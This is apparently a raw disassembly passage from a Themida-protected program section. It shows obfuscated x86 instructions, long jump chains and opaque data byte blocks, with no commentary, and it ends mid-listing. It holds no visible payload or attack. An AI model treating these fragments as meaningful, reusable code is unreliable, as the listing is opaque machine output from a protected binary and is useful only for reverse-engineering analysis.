8B66h ; DATA XREF: Themida_:00541A00o dd 0EC83240Ch, 0DBB0E904h, 0BD55FFFFh, 31BF4BEBh, 0C15DEE31h dd 964E06E6h, 0E9C63148h, 7C2h, 132C5A66h, 0EEE9C800h db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553D0F: ; CODE XREF: Themida_:00549564j xor [esp], eax xor eax, [esp] pop esp mov [esp], ebx push esp pop ebx push ecx mov ecx, 48B1489Ah sub esp, 4 mov [esp], esi mov esi, 3B45348Bh shr esi, 8 not esi sub esi, 6D204CF3h dec esi jmp loc_547677 ; --------------------------------------------------------------------------- byte_553D3D db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:005418E4o dd 0D259669Dh, 0E99C2414h, 0FFFEDDD3h ; --------------------------------------------------------------------------- loc_553D4C: ; CODE XREF: Themida_:0054FC9Bj sub ebx, edx jmp loc_54A5E2 ; --------------------------------------------------------------------------- db 0C0h dd 0E4E905EAh db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_553D5B: ; CODE XREF: Themida_:00550FFAj sub ecx, edi pop edi or ecx, 63FB3F77h push edi mov edi, 15AB77D8h neg edi and edi, 6B9B07DDh or edi, 74716D8Ch xor edi, 0F4CD99BDh sub ecx, edi jmp loc_542011 ; --------------------------------------------------------------------------- loc_553D85: ; CODE XREF: Themida_:0054A32Ej pop esp mov [esp], ebx push dword ptr [esp] pop eax sub esp, 4 mov [esp], edx mov edx, esp sub esp, 4 mov [esp], ecx mov ecx, 4 add edx, 2A883837h add edx, ecx sub edx, 2A883837h push dword ptr [esp] pop ecx add esp, 4 jmp loc_546672 ; --------------------------------------------------------------------------- loc_553DBD: ; CODE XREF: Themida_:00556414j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push dword ptr [esp] jmp loc_550BF9 ; --------------------------------------------------------------------------- db 5, 16h, 35h dd 66E95D32h, 81FFFF0Ah, 0C31EBF1h, 8E1C134h, 1810B850h dd 3F2D55C7h, 21E513B3h, 0C18158C1h, 0AFE30836h, 0C8BCD31h dd 0E2895224h, 61B1BD55h, 0EDC100D4h, 5DED8108h, 10000D4h dd 242C8BEAh, 4C481h, 0C2830000h, 24148704h, 4524248Bh dd 0FF0A65E9h db 0FFh ; --------------------------------------------------------------------------- loc_553E2D: ; CODE XREF: Themida_:0054EE36j push ebp jmp loc_54594E ; --------------------------------------------------------------------------- loc_553E33: ; CODE XREF: Themida_:0054AD99j xor edi, edx xor edx, edi shr edx, 5 jmp loc_54425A ; --------------------------------------------------------------------------- db 83h dd 5B6804ECh, 0E9000010h, 0FFFFBF1Ah, 73E95F54h db 0B4h, 2 dup(0FFh) aM0Hn6 db '¬0Øhn6',0 ; DATA XREF: Themida_:005419DCo dw 8900h dd 0B3532414h, 6E7DE945h, 535EFFFFh, 0BB5AB7BBh, 5BDA3166h dd 0FFDC27E9h, 4C181FFh, 83000000h, 1C8904ECh, 2DA3BB24h dd 0DBF711BCh, 5207E3C1h, 0FF2C76E9h db 0FFh ; --------------------------------------------------------------------------- loc_553E91: ; CODE XREF: Themida_:005448E2j push esi mov esi, 2 sub edx, 16C044C6h add edx, esi add edx, 16C044C6h pop esi jmp loc_54E98A ; --------------------------------------------------------------------------- loc_553EAB: ; CODE XREF: Themida_:005472C9j add esp, 4 pop ebx add [esp+4], esi pop esi mov eax, [esp] add esp, 4 push esi push 77253A1Fh pop esi shl esi, 6 neg esi push ebp push eax mov eax, 342C0CBBh mov ebp, eax pop eax and esi, ebp pop ebp dec esi push 0FE6h mov [esp], edx mov edx, 0D110509Ah add esi, edx pop edx sub eax, 4074D8Bh jmp loc_551496 ; --------------------------------------------------------------------------- db 81h, 0F1h, 0B4h dd 891E2D04h, 0C78159CEh, 72923E47h, 0E953F729h, 0FFFF1B08h dd 4C4815Bh, 0E9000000h, 0FFFF1710h ; --------------------------------------------------------------------------- loc_553F14: ; CODE XREF: Themida_:005470F5j mov edx, edi pop edi xchg esi, edx not esi xchg esi, edx shr edx, 5 sub edx, 1 shl edx, 7 sub esp, 4 mov [esp], esi jmp loc_541F4D ; --------------------------------------------------------------------------- loc_553F34: ; CODE XREF: Themida_:00545949j pop esp push esi jmp loc_542EFE ; --------------------------------------------------------------------------- byte_553F3B db 66h ; DATA XREF: Themida_:00541960o dd 68240C8Bh, 43B2h, 0FF78E7E9h db 0FFh ; --------------------------------------------------------------------------- loc_553F49: ; CODE XREF: Themida_:00543EE3j xchg ebp, [esp] jmp loc_5431ED ; --------------------------------------------------------------------------- loc_553F51: ; CODE XREF: Themida_:00550A7Aj push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push 16B0h mov [esp], edi mov edi, 61D85AFFh push 3A4Ah mov [esp], edx mov edx, 25C0B071h push ebp mov ebp, 42726BC9h jmp loc_542B15 ; --------------------------------------------------------------------------- loc_553F89: ; CODE XREF: Themida_:005557BDj push esi jmp loc_54226B ; --------------------------------------------------------------------------- db 89h dd 0E6892434h, 4C681h, 0C6830000h, 24348702h, 7558E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553FA6: ; CODE XREF: Themida_:00555688j add dword ptr [esp], 4 mov ebp, [esp] push 3E29h mov [esp], ebp mov ebp, esp push ebx mov ebx, 4 add ebp, ebx pop ebx add ebp, 4 jmp loc_5506B0 ; --------------------------------------------------------------------------- loc_553FCB: ; CODE XREF: Themida_:0054368Fj add esi, 4 sub esi, 4 jmp loc_54278D ; --------------------------------------------------------------------------- loc_553FD9: ; CODE XREF: Themida_:0055009Cj add ebx, eax jmp loc_54940C ; --------------------------------------------------------------------------- dd 0FEDB3AE9h, 247429FFh, 5EF1E90Ch, 34FFFFFFh, 0C4815B24h dd 4, 0FEDB22E9h db 0FFh ; --------------------------------------------------------------------------- loc_553FFD: ; CODE XREF: Themida_:0054D438j add esp, 4 and ebx, 501A120Dh jmp loc_55556A ; --------------------------------------------------------------------------- db 81h dd 4C4h, 242C3300h, 0FFF9B1E9h, 90E95FFFh, 5CFFFF72h, 0E9240489h dd 0FFFF33D7h, 4240481h, 59000000h, 0FFA688E9h, 2434FFFFh dd 8324048Bh, 8E6804C4h, 89000065h, 0E6892434h, 11BE9h dd 3A146800h, 2C890000h, 0F4BEE924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55405A: ; CODE XREF: Themida_:00544A89j shl ecx, 5 push ebp mov ebp, 81653A47h xor ecx, ebp pop ebp jmp loc_54D5E4 ; --------------------------------------------------------------------------- db 5Fh dd 0FF052BE9h, 0BEFABEFFh, 5CE98FF6h, 1FFFF7Dh, 0C2EE81DEh dd 8B06AA67h, 0C481241Ch, 4, 92BAE951h, 27BAFFFFh, 315C2520h dd 2958E9D1h, 57680000h, 89000014h, 0E589242Ch, 4C581h dd 0EFE90000h, 68FFFF8Dh, 6700h, 0BB241C89h, 630102EFh dd 1357E9h, 75376800h, 1C890000h, 5932E924h, 3489FFFFh dd 3ED4BE24h, 0F0011957h, 8324348Bh, 0F5E904C4h, 0C1FFFF19h dd 0CA8102EAh, 5D3D0428h, 8142D2F7h, 0BF972CC2h, 8BD6015Dh dd 0C4832414h, 4C68104h, 83000000h, 0CFE904ECh db 1Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55410F: ; CODE XREF: Themida_:0054D380j shr ebp, 6 sub ebp, 0E73E347Fh xor ecx, ebp mov ebp, [esp] add esp, 4 and eax, ecx pop ecx push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] push 6DEEh mov [esp], eax jmp loc_54EC02 ; --------------------------------------------------------------------------- loc_55413F: ; CODE XREF: Themida_:0054AE4Dj mov ebx, 4 add eax, 7FC54F78h sub eax, 2B180C5Dh add eax, ebx add eax, 2B180C5Dh push edi jmp loc_54991F ; --------------------------------------------------------------------------- db 89h dd 4C381E3h, 0E9000000h, 0FFFEE17Bh, 77B568h, 241C8900h dd 5F25BA52h, 0D389353Ah, 2E3C15Ah, 7C90F381h, 0E951D4E9h dd 0FFFF45F6h ; --------------------------------------------------------------------------- loc_554188: ; CODE XREF: Themida_:00550D9Aj xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_54AF14 ; --------------------------------------------------------------------------- loc_554196: ; CODE XREF: Themida_:00545F47j add esp, 4 pop eax push 6B7Ah mov [esp], edi mov edi, 41A34175h add eax, 28E7D02h add eax, 7D7D42D9h jmp loc_555896 ; --------------------------------------------------------------------------- dw 0E951h dd 0FFFEE35Ch, 0CCE9D001h, 89FFFF8Fh, 0E789243Ch, 4EC81h dd 4890000h, 4B824h, 0C7010000h, 4EF8158h, 87000000h, 0E95C243Ch dd 0FFFF71DFh ; --------------------------------------------------------------------------- loc_5541E8: ; CODE XREF: Themida_:005466F1j mov edx, esi jmp loc_546F81 ; --------------------------------------------------------------------------- db 8Bh dd 65E9241Ch, 86000013h, 0F601245Ch, 245C86D3h, 0FE5B6601h dd 0FECF86C7h, 86D1F6C9h, 0F674E9CFh, 3C31FFFFh, 243C3324h dd 8924248Bh, 0B050240Ch, 58C588ECh, 0FF136FE9h, 0FFEB29FFh dd 2C8B2434h, 16E95024h, 83FFFFF7h, 0C8704C1h, 9718E924h dd 5551FFFFh, 0FFA797E9h, 0F80166FFh, 9C2D665Fh, 0D829661Dh dd 0FFB476E9h, 74BA52FFh, 0E9571468h, 215Fh, 1C8BFD00h dd 4C48124h, 80000000h, 0CDFE5DC5h, 0FF545AE9h, 0BEE952FFh db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55427F: ; CODE XREF: Themida_:0054E2F6j sub esp, 4 jmp loc_54448B ; --------------------------------------------------------------------------- db 0BFh dd 233B5E3Eh, 575FFD09h, 1DACFBFh, 0FFFD316Ch, 0E95F2434h dd 11FDh, 0AEE9D929h, 0E9FFFFF3h, 0FFFED873h ; --------------------------------------------------------------------------- loc_5542AC: ; CODE XREF: Themida_:00546798j shr ebx, 7 sub ebx, 270A6h add ecx, ebx mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_54AF66 ; --------------------------------------------------------------------------- loc_5542C8: ; CODE XREF: Themida_:0054EC75j push edi mov edi, 235366ADh and edi, 261E6462h inc edi jmp loc_5482ED ; --------------------------------------------------------------------------- dw 6866h dd 896628B9h, 97E9240Ch, 83FFFF4Ch, 36E904C7h, 0C1FFFF7Eh dd 0F28105E2h, 6686ADBEh, 535AD601h, 0AB93E952h, 0C8BFFFFh dd 6BBA6824h, 30E90000h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55430F: ; CODE XREF: Themida_:0054AF9Dj inc ebp inc ebp sub ebp, 406C0C42h sub edi, ebp pop ebp sub edi, edx jmp loc_54B935 ; --------------------------------------------------------------------------- db 5Ch, 0E9h, 6Fh db 0Ch, 2 dup(0) byte_554327 db 66h ; DATA XREF: Themida_:005419F0o dd 0E9240C8Bh, 0FFFFA2AFh, 8B241433h, 88642424h, 0E64EE902h dd 895CFFFFh, 9DE9240Ch db 3Ah, 2 dup(0FFh) byte_554347 db 0FFh ; DATA XREF: Themida_:00541A78o dd 34813C77h, 35279124h, 24048B76h, 8304C483h, 3C8904ECh dd 505F5424h, 0FB368h, 24348900h, 1E1BE168h, 0CE815E71h dd 285E2D30h, 0E6C1EED1h, 0ACE8105h, 51152A40h, 7D1857B9h dd 2CE18139h, 81083A15h, 0F0F6EEC1h, 0E9CE2927h, 0FFFF8D9Fh ; --------------------------------------------------------------------------- loc_554398: ; CODE XREF: Themida_:005491A7j push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], esi mov esi, 55BD1BA3h shr esi, 7 push ebx jmp loc_554DBB ; --------------------------------------------------------------------------- db 31h dd 0ED815FFDh, 3221E782h, 0FF5DE829h, 525F2434h, 0C281E289h dd 4, 0FFA808E9h, 240487FFh, 1C68665Ch, 0C89664Dh, 669BB524h dd 0E960B252h, 0DECh, 8904EC83h, 74FF240Ch, 0C4E90424h dd 89FFFF10h, 6D68240Ch, 89000013h, 0E0892404h, 405h, 42D00h dd 0FF500000h, 8B042474h, 0C4812404h, 4, 8B24048Fh, 4CE92424h dd 66FFFF86h, 8166E9D1h, 666978C1h, 0E959CB01h, 0FFFFD28Eh ; --------------------------------------------------------------------------- loc_554438: ; CODE XREF: Themida_:005474F6j sub ebx, 1D5C62D0h sub ebx, 789D5744h jmp loc_54B635 ; --------------------------------------------------------------------------- byte_554449 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00541878o aHs0 db '$hè0',0 align 2 aSx db 'éx"',0 db 0 ; --------------------------------------------------------------------------- loc_554457: ; CODE XREF: Themida_:005471CCj pop ecx jmp loc_5488C0 ; --------------------------------------------------------------------------- db 0C1h, 0E3h, 4 dd 0B3C38143h, 1A511CAh, 241C8BD9h, 8104C483h, 4E9h, 0EBE7E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55447A: ; CODE XREF: Themida_:00544DFBj mov ecx, 20h jmp loc_553940 ; --------------------------------------------------------------------------- dd 0BE243489h, 736D1C87h, 34E9F129h, 0BEFFFFDAh, 13A40B6Ch dd 56CEE81h, 81466CF4h, 964C10C6h, 5EF1298Eh, 0E92434FFh dd 0FFFF49F4h ; --------------------------------------------------------------------------- loc_5544B0: ; CODE XREF: Themida_:005423A9j mov ebx, 6FCF0DD7h push ebp mov ebp, 411F045Fh xor ebp, 75273B65h jmp loc_54E4E2 ; --------------------------------------------------------------------------- dw 0F031h dd 0C683C631h, 0F7EE87FFh, 31EE31D5h, 81EE31F5h, 387983C6h dd 0C1F68142h, 810B6E11h, 31365BC1h, 30C18140h, 0E963A22Ch dd 0FFFFF69Bh ; --------------------------------------------------------------------------- loc_5544F4: ; CODE XREF: Themida_:0054AE80j pop ebp xor ebp, esi pop esi shl ebp, 1 xor ebp, 21633920h push edi mov edi, 0B118F7B0h jmp loc_545E9E ; --------------------------------------------------------------------------- loc_55450B: ; CODE XREF: Themida_:00555022j pop ebp jmp loc_5470DA ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 29h db 45h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554517: ; CODE XREF: Themida_:005515E5j mov esi, ebp mov ebp, [esp] add esp, 4 shl esi, 8 jmp loc_5487E7 ; --------------------------------------------------------------------------- loc_554527: ; CODE XREF: Themida_:00554B49j mov eax, 4 mov edx, eax mov eax, [esp] add esp, 4 jmp loc_553B88 ; --------------------------------------------------------------------------- dd 5208E0C0h, 0F00001B6h, 0FF789CE9h db 0FFh ; --------------------------------------------------------------------------- loc_554549: ; CODE XREF: Themida_:0054D03Fj add esi, edx pop edx jmp loc_54BB32 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 2156AC68h, 0CAE95A70h db 49h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55455F: ; CODE XREF: Themida_:0054A2CDj push 5BEFh mov [esp], ebp push dword ptr [esp] push dword ptr [esp] pop ebx push eax mov eax, esp push ebp mov ebp, 4 add eax, ebp pop ebp jmp loc_54701E ; --------------------------------------------------------------------------- loc_55457F: ; CODE XREF: Themida_:00554B18j mov ebp, 67873F56h sub ebp, 65AE2F52h xor ebp, 48BD37D3h push esi mov esi, 4FB9351Dh xor ebp, esi pop esi shl ebp, 7 jmp loc_5559C6 ; --------------------------------------------------------------------------- loc_5545A1: ; CODE XREF: Themida_:0054992Ej mov ecx, 76C187Bh and edi, ecx pop ecx add edi, 7FA54F60h jmp loc_55540D ; --------------------------------------------------------------------------- dd 0E904EC83h, 0FFFFFEC8h, 1EB81h, 96E90000h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5545C7: ; CODE XREF: Themida_:00554CF2j push dword ptr [esp] pop eax jmp loc_550886 ; --------------------------------------------------------------------------- loc_5545D0: ; CODE XREF: Themida_:00548D96j mov edi, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_54297E ; --------------------------------------------------------------------------- db 89h dd 19BE59CFh, 12669DAh, 2434FFFEh, 0FF79C4E9h db 0FFh ; --------------------------------------------------------------------------- loc_5545F5: ; CODE XREF: Themida_:00555009j push edx push dword ptr [esp] pop eax add esp, 4 mov edx, [esp] add esp, 4 shl eax, cl push edx mov edx, esp jmp loc_54ECC1 ; --------------------------------------------------------------------------- db 9 dd 240C8BCAh, 4C481h, 0BD550000h, 252A5CD9h, 535DEA31h dd 0A563A6BBh, 81E3D178h, 2C729ECBh, 0E0EB8112h, 14F3018h dd 0AFE95BDAh, 89FFFFEFh, 4C181E1h, 81000000h, 2C1h, 240C8700h dd 0D4C5E95Ch, 0C483FFFEh, 0A52FE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554662: ; CODE XREF: Themida_:00547C3Fj mov ecx, [esp] add esp, 4 push 4C73h mov [esp], eax jmp loc_543446 ; --------------------------------------------------------------------------- db 81h, 0EAh, 55h dd 81296E2Bh, 5708FFE2h, 39F2811Ch, 89004108h, 0F8055AD7h dd 292C2102h, 2F82DF8h, 505F2C21h, 42474FFh, 24048F58h dd 240C895Ch, 0FFCC1DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5546A9: ; CODE XREF: Themida_:0054C3C6j mov esi, eax pop eax add eax, esi mov esi, [esp] add esp, 4 xchg eax, [esp] pop esp jmp loc_5492C6 ; --------------------------------------------------------------------------- loc_5546BD: ; CODE XREF: Themida_:0054BD9Fj or eax, 17D76565h xor eax, 0C951EBFh sub edi, eax pop eax push ecx mov ecx, 424F203Eh sub edi, ecx pop ecx add edi, eax add edi, 424F203Eh add edi, 3B4A7BC0h pop eax xchg edi, [esp] mov esp, [esp] mov ax, [esp] push ecx push esp pop ecx push ebp mov ebp, 23C13FDEh shr ebp, 6 push esi push ebp mov ebp, 374D1C45h jmp loc_54AE7E ; --------------------------------------------------------------------------- dd 0E928F780h, 0FFFFBFF8h ; --------------------------------------------------------------------------- loc_55470C: ; CODE XREF: Themida_:0054609Bj mov eax, [esp] add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 73DB3E80h mov edx, ebp pop ebp add edx, 42CC3A03h jmp loc_5463ED ; --------------------------------------------------------------------------- loc_554734: ; CODE XREF: Themida_:00546D30j add esp, 4 jmp loc_54CFFB ; --------------------------------------------------------------------------- db 80h dd 0C28001E2h, 96C28001h, 0C280C2FEh, 5AD708F3h, 0FF2549E9h db 0FFh ; --------------------------------------------------------------------------- loc_554755: ; CODE XREF: Themida_:00545CD9j xor edx, [esp] xor [esp], edx push 7DDFh mov [esp], edx not dword ptr [esp] mov edx, [esp] push 6929h jmp loc_547393 ; --------------------------------------------------------------------------- db 8Bh dd 94E9241Ch db 0E8h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55477B: ; CODE XREF: Themida_:00555C38j push 15C46D6Bh pop esi sub esi, 4A10387h jmp loc_54E4C9 ; --------------------------------------------------------------------------- loc_55478C: ; CODE XREF: Themida_:0054A434j mov ecx, [esp] push edi mov edi, esp push ecx mov ecx, 4BF5E3Bh dec ecx neg ecx add ecx, 15F320DEh push 0 jmp loc_54F8AD ; --------------------------------------------------------------------------- db 83h dd 3C3002C4h, 243C3224h, 0E9243C30h, 0FFFED363h ; --------------------------------------------------------------------------- loc_5547BC: ; CODE XREF: Themida_:005552BAj mov eax, [esp] add esp, 4 push ebx jmp loc_544F55 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4C78100h, 87000000h, 0F75C243Ch, 0F9068E9h, 14890000h dd 0E99C5024h, 0FFFED333h, 0C281EA01h, 5E621F84h, 0FFB648E9h dd 8B585BFFh, 0D0E9240Ch, 89FFFF67h, 43BD55E1h, 51088831h dd 77CEC1B9h, 59CD01F7h, 835DE901h, 0C8704E9h, 6D91E924h dd 5366FFFFh, 54B55150h, 0F6CBE580h, 7FED80DDh, 0D5F6D5F6h dd 0E965F580h, 0A74h, 48BC601h, 4C48124h, 56000000h, 70AE9h dd 242C3300h, 33242C31h, 42E9242Ch db 0, 2 dup(0FFh) byte_55485B db 0FFh ; DATA XREF: Themida_:00541A48o dd 0BD553C77h, 2A186B8Ch, 0FFEADAE9h, 58C328FFh, 710B68h dd 5B8E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554876: ; CODE XREF: Themida_:00547B0Dj add esi, 0D638D69Bh add ebp, esi mov esi, [esp] jmp loc_541CE3 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 54C68h, 0C6CDE900h, 0EAC0FFFFh, 0C0D2F608h, 0C28006EAh dd 7EE4E97Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5548A6: ; CODE XREF: Themida_:0054237Cj add ebx, 1 xor ebx, 7F015021h xor ebx, 105F278Dh jmp loc_545317 ; --------------------------------------------------------------------------- dw 4BDh dd 0E9000000h, 0FFFEDF92h, 5C241C33h, 4B30F66h, 4CE99C24h dd 0FFFED2h, 79EB80D3h, 0FF4A6FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5548DD: ; CODE XREF: Themida_:005425FDj mov ebx, 3BE50ECEh push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx mov edx, 6E4F34BAh shr edx, 3 inc edx xor edx, esi xor esi, edx jmp loc_54A8E2 ; --------------------------------------------------------------------------- dw 405h dd 87000000h, 13E92404h, 5A000009h, 0FF8846E9h, 0CD366FFh dd 3FE99C24h, 81FFFF29h, 42404h, 48B0000h, 4C48324h, 4B951h dd 0C8010000h, 4BF5759h, 1000000h, 0EC815FF8h, 4, 0FF2433E9h dd 0D82859FFh, 6866952Ch, 63E93C0Eh db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55495B: ; CODE XREF: Themida_:0055015Ej push 4499136Bh pop eax add eax, 0B237DB3h shl eax, 2 sub eax, 2DFE75A2h sub eax, 0C856A6ECh xor ecx, eax pop eax mov edi, ecx mov ecx, [esp] add esp, 4 not edi jmp loc_552358 ; --------------------------------------------------------------------------- dd 8324048Bh, 0B25204C4h, 88B050D9h, 0FE07E8C0h, 0E9C8FEC8h dd 0D28h, 4240483h, 4BB535Eh, 0E9000000h, 0DB0h ; --------------------------------------------------------------------------- loc_5549B0: ; CODE XREF: Themida_:0054DF9Aj add esp, 4 jmp loc_545398 ; --------------------------------------------------------------------------- dd 372CC381h, 0E3C16641h, 0E3C14308h, 4F9DE905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5549CA: ; CODE XREF: Themida_:0054B23Dj add esi, edx pop edx push esi push dword ptr [esp+4] push dword ptr [esp] jmp loc_548BEF ; --------------------------------------------------------------------------- dw 40E9h db 0D1h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5549DF: ; CODE XREF: Themida_:00543756j push esi jmp loc_54750D ; --------------------------------------------------------------------------- db 5Eh, 89h, 0CFh dd 0FF7D65E9h, 240C89FFh, 0C181E189h, 4, 4E981h, 50E90000h dd 89FFFEF1h, 4832424h, 685A0424h, 31A3h, 0B8240489h, 41DB6A32h dd 0E904EC83h, 0FFFFC3C7h, 23D0E95Eh, 0C89FFFFh, 9AE95324h dd 81000000h, 0F359F5F5h, 23F7E92Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554A3A: ; CODE XREF: Themida_:00550F0Bj shl eax, 2 xor eax, 4E55532Ch push edi mov edi, 11326E73h inc edi push edx jmp loc_553699 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4C28100h, 87000000h, 0E95C2414h, 0FFFFA230h, 42474FFh dd 57240C8Bh, 0C7815F54h, 4, 4C781h, 0FF570000h, 5F042474h dd 2 dup(5C24048Fh), 24048F54h, 0FFB27BE9h, 246C81FFh dd 612C7B04h, 2434FF64h, 0E9242C8Bh, 1349h ; --------------------------------------------------------------------------- loc_554AA4: ; CODE XREF: Themida_:005500D9j push esp pop ebp jmp loc_542A88 ; --------------------------------------------------------------------------- db 40h dd 169AE9h, 0C1815E00h, 8641692h, 0CB6FB850h, 0E98187BEh dd 4D8666DFh, 0FEF82FE9h, 88D788FFh, 0CF885BF9h, 81240C8Bh dd 4C4h, 9E86E900h, 8966FFFFh, 8BE92404h db 0DEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_554AE7: ; CODE XREF: Themida_:005474DAj add esp, 4 add esi, edi sub esi, 37415626h push dword ptr [esp] pop edi push ecx jmp loc_54DB81 ; --------------------------------------------------------------------------- dd 5C243C33h, 0E9240489h, 0FFFF6745h, 0E924248Bh, 0FFFF496Eh ; --------------------------------------------------------------------------- loc_554B10: ; CODE XREF: Themida_:005431F7j push 43F2h mov [esp], ebp jmp loc_55457F ; --------------------------------------------------------------------------- db 4Fh, 0F7h, 0D7h dd 53ECF781h, 86E91182h, 51FFFF87h, 0FFC5F2E9h, 0F7F787FFh dd 0E9F787D6h, 35Fh, 661CE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554B42: ; CODE XREF: Themida_:00551877j xchg esi, [esp] pop esp mov [esp], eax jmp loc_554527 ; --------------------------------------------------------------------------- dw 0E950h dd 0FFFF685Ch ; --------------------------------------------------------------------------- loc_554B54: ; CODE XREF: Themida_:0054AF4Ej pop ebx neg esi xor esi, ebp jmp loc_547E96 ; --------------------------------------------------------------------------- dw 0E828h dd 0FF1162E9h db 0FFh ; --------------------------------------------------------------------------- loc_554B65: ; CODE XREF: Themida_:005511B4j add ebx, edi mov edi, [esp] jmp loc_545E39 ; --------------------------------------------------------------------------- db 80h dd 0F708C7C6h, 8124148Bh, 4C4h, 7EFC000h, 0FF9FACE9h, 4C283FFh dd 5C241487h, 31243433h, 34332434h, 24248B24h, 8B2434FFh dd 0EC832404h, 242C8904h, 0BA52E589h, 0DFC5992h, 0A672C281h dd 0F3E9F203h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_554BB7: ; CODE XREF: Themida_:00547072j mov esi, esp add esi, 4 sub esi, 4 jmp loc_550FD2 ; --------------------------------------------------------------------------- dw 84B2h dd 0EAC0D2F6h, 0ED40E906h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_554BD6: ; CODE XREF: Themida_:00541F48j push esp push dword ptr [esp] pop ebp add esp, 4 push edi jmp loc_54B875 ; --------------------------------------------------------------------------- dd 4C481h, 48F0000h, 24248B24h, 0FFC951E9h, 1AC181FFh dd 1750C05h, 1AE981F9h, 0E9750C05h, 0FFFF3433h, 0FF243C89h dd 0E9042474h, 0FFFFDD11h ; --------------------------------------------------------------------------- loc_554C14: ; CODE XREF: Themida_:0054A864j xchg ebx, ebp jmp loc_548653 ; --------------------------------------------------------------------------- db 8Bh dd 0C481242Ch, 4, 5224348Bh, 0BE56E289h, 4, 4BE9F201h db 34h, 2 dup(0FFh) byte_554C37 db 0FFh ; DATA XREF: Themida_:005418F8o dd 5BE92434h, 0BFFFFFD3h, 0B957339h, 27AFB850h, 0C72975F9h dd 0E7895758h, 3424BA52h, 0CA8176F0h, 0A4A5732h, 0EA81DAF7h dd 810588C6h, 54E9D701h, 81000019h, 1FC5E1C1h, 59CD89FEh dd 0FF6C30E9h, 81C301FFh, 4ECh, 861BE900h, 1C89FFFFh, 0EA92E924h dd 0C381FFFFh, 4, 0FED6A8E9h, 45EE80FFh, 80C3E680h, 0F680E1F6h dd 0D061E982h, 0C8B1FFFFh, 0E959CF28h, 0FFFFFCD4h, 4C4835Dh dd 1FA6EB81h, 0C3814428h, 46C54E31h, 6A66EB81h, 0C3014085h dd 8904EC83h, 66682414h, 5A40856Ah, 148BD301h, 4C48124h dd 0E9000000h, 0FFFF35DEh ; --------------------------------------------------------------------------- loc_554CE8: ; CODE XREF: Themida_:00549636j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_5545C7 ; --------------------------------------------------------------------------- db 81h dd 0D57BEFEFh, 1FB95138h, 176869Ch, 2434FFCFh, 83240C8Bh dd 0C48104C4h, 4, 0FF5656E9h, 3EF4BBFFh, 0D3315EE1h, 0FFDFB6E9h db 0FFh ; --------------------------------------------------------------------------- loc_554D25: ; CODE XREF: Themida_:00547211j add esi, edi jmp loc_54D9EC ; --------------------------------------------------------------------------- dd 8124148Bh, 4C4h, 22810500h, 0A0E94C24h db 34h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554D3F: ; CODE XREF: Themida_:005519BEj push esi jmp loc_550F2F ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 54E92404h db 61h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554D53: ; CODE XREF: Themida_:0054F445j add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] sub edx, 1FF5502Ah or ecx, ecx jz loc_5421C2 push esp push dword ptr [esp] mov esi, [esp] push eax push esp mov eax, [esp] push edx push esp jmp loc_54549D ; --------------------------------------------------------------------------- dw 4DB9h dd 29372361h, 348B59CFh, 4C48124h, 0E9000000h, 0FFFF5541h ; --------------------------------------------------------------------------- loc_554D9C: ; CODE XREF: Themida_:loc_54223Bj ; Themida_:0054879Cj ... push dword ptr [edi+24h] sub esp, 4 mov [esp], ebp mov ebp, 294E4A5Fh push edi mov edi, esp add edi, 4 jmp loc_551F7B ; --------------------------------------------------------------------------- loc_554DBB: ; CODE XREF: Themida_:005543AEj mov ebx, 0CD4122Fh xor ebx, 196F3FBBh sub ebx, 896B18B6h jmp loc_54308B ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 456E4CBAh, 92C1815Ah, 0E9718719h, 0FFFFE601h, 4055859h dd 2D000000h, 4, 0E9240433h, 0FFFFE171h, 7287EE81h, 0EE8159B3h dd 496D4285h, 83240C8Bh, 8FE904C4h db 72h, 2 dup(0FFh) byte_554E0F db 